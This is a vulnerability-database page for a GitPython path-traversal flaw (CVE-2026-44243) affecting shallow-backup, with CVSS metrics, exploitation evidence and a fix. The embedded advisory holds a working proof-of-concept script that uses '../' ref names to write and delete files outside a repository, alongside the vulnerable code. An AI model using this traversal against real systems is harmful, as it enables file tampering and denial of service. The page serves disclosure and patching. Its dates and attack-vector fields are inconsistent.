CVE-2026-44243VulnerabilityPublished 13 Aug 2026Updated 26 Oct 2026

Shallow backup: GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and

Affects shallow-backupSource GCVE Database

Authoritative record:CVE-2026-44243· High 7.8

Public exploit available · CVSS 7.8 High : upgrade to 6.6_1 as a priority.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 4.0 base score

7.8High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.4% chance of exploitation in 30 days – higher than 35% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 6.6_1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Base metrics

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: None
Vulnerable system integrity: High
Vulnerable system availability: High
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Threat metrics

Exploit Maturity: POC

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: None: There is no loss of confidentiality within the Vulnerable System.
Vulnerable system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the vulnerable system. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the vulnerable system.
Vulnerable system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.
Exploit Maturity: POC: Based on threat intelligence sources each of the following must apply: · Proof-of-concept is publicly available · No knowledge of reported attempts to exploit this vulnerability · No knowledge of publicly available solutions used to simplify attempts to exploit the vulnerability

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 7 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: evidence found.
CVSS exploit maturity: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CVSS vector, the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade shallow-backup to 6.6_1.

Affected software

Product	Affected	Fixed in
Homebrewshallow-backup`pkg:brew/shallow-backup`Other threats	Affected >=5.0.1 <6.6_1	Fixed in 6.6_1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## 🧾 Summary A vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**. --- ## 📦 Affected Versions * Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout) --- ## 🧠 Details ### Vulnerability Type **Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion** --- ### Root Cause Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations. `SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries. --- ### Affected Code ```python def set_reference(self, ref, logmsg=None): ... fpath = self.abspath assure_directory_exists(fpath, is_file=True) lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ... ``` ```python @classmethod def delete(cls, repo, path): full_ref_path = cls.to_full_path(path) abs_path = os.path.join(repo.common_dir, full_ref_path) if os.path.exists(abs_path): os.remove(abs_path) ``` ```python def rename(self, new_path, force=False): new_path = self.to_full_path(new_path) new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path) cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path) ... os.rename(cur_abs_path, new_abs_path) ``` --- ### Attack Vector **Local attack through application-controlled input passed into GitPython reference APIs** ### Authentication Required **None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.** --- ## 🧪 Proof of Concept ### Setup ```bash pip install GitPython==3.1.46 python poc.py ``` --- ### Exploit ```python import shutil from pathlib import Path from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base) repo_dir = base / "repo" repo = Repo.init(repo_dir) (repo_dir / "a.txt").write_text("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init") outside_write = base / "outside_write.txt" outside_delete = base / "outside_delete.txt" outside_delete.write_text("DELETE ME\n", encoding="utf-8") print(f"repo_dir = {repo_dir}") print(f"outside_write = {outside_write}") print(f"outside_delete = {outside_delete}") Reference.create(repo, "../../../outside_write.txt", "HEAD") print("\n[+] outside_write exists:", outside_write.exists()) if outside_write.exists(): print("[+] outside_write content:") print(outside_write.read_text(encoding="utf-8")) SymbolicReference.delete(repo, "../../../outside_delete.txt") print("\n[+] outside_delete exists after delete:", outside_delete.exists()) ``` --- ### Result ```text repo_dir = ...\gp-ghsa-poc\repo outside_write = ...\gp-ghsa-poc\outside_write.txt outside_delete = ...\gp-ghsa-poc\outside_delete.txt [+] outside_write exists: True [+] outside_write content: <current HEAD commit SHA> [+] outside_delete exists after delete: False ``` --- ## 💥 Impact ### What can an attacker do? * Create or overwrite files outside the repository metadata directory * Delete attacker-chosen files reachable from the process permissions * Corrupt application state or configuration files * Cause denial of service by deleting or overwriting important files --- ### Security Impact * **Confidentiality:** Low * **Integrity:** High * **Availability:** High --- ### Who is affected? * Applications that expose GitPython reference operations to user-controlled input * Git automation services, repository management backends, CI/CD helpers, and developer platforms * Multi-user environments where one user can influence ref names processed on behalf of another workflow --- ## 🛠️ Mitigation / Fix ### Recommended Fix ```python def _validate_ref_write_path(repo, path, *, for_git_dir=False): SymbolicReference._check_ref_name_valid(path) base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve() target = (base / path).resolve() if base not in [target, *target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}") return str(target) ``` ```python full_ref_path = cls.to_full_path(path) _validate_ref_write_path(repo, full_ref_path) ```

References

Community reviews

Loading reviews…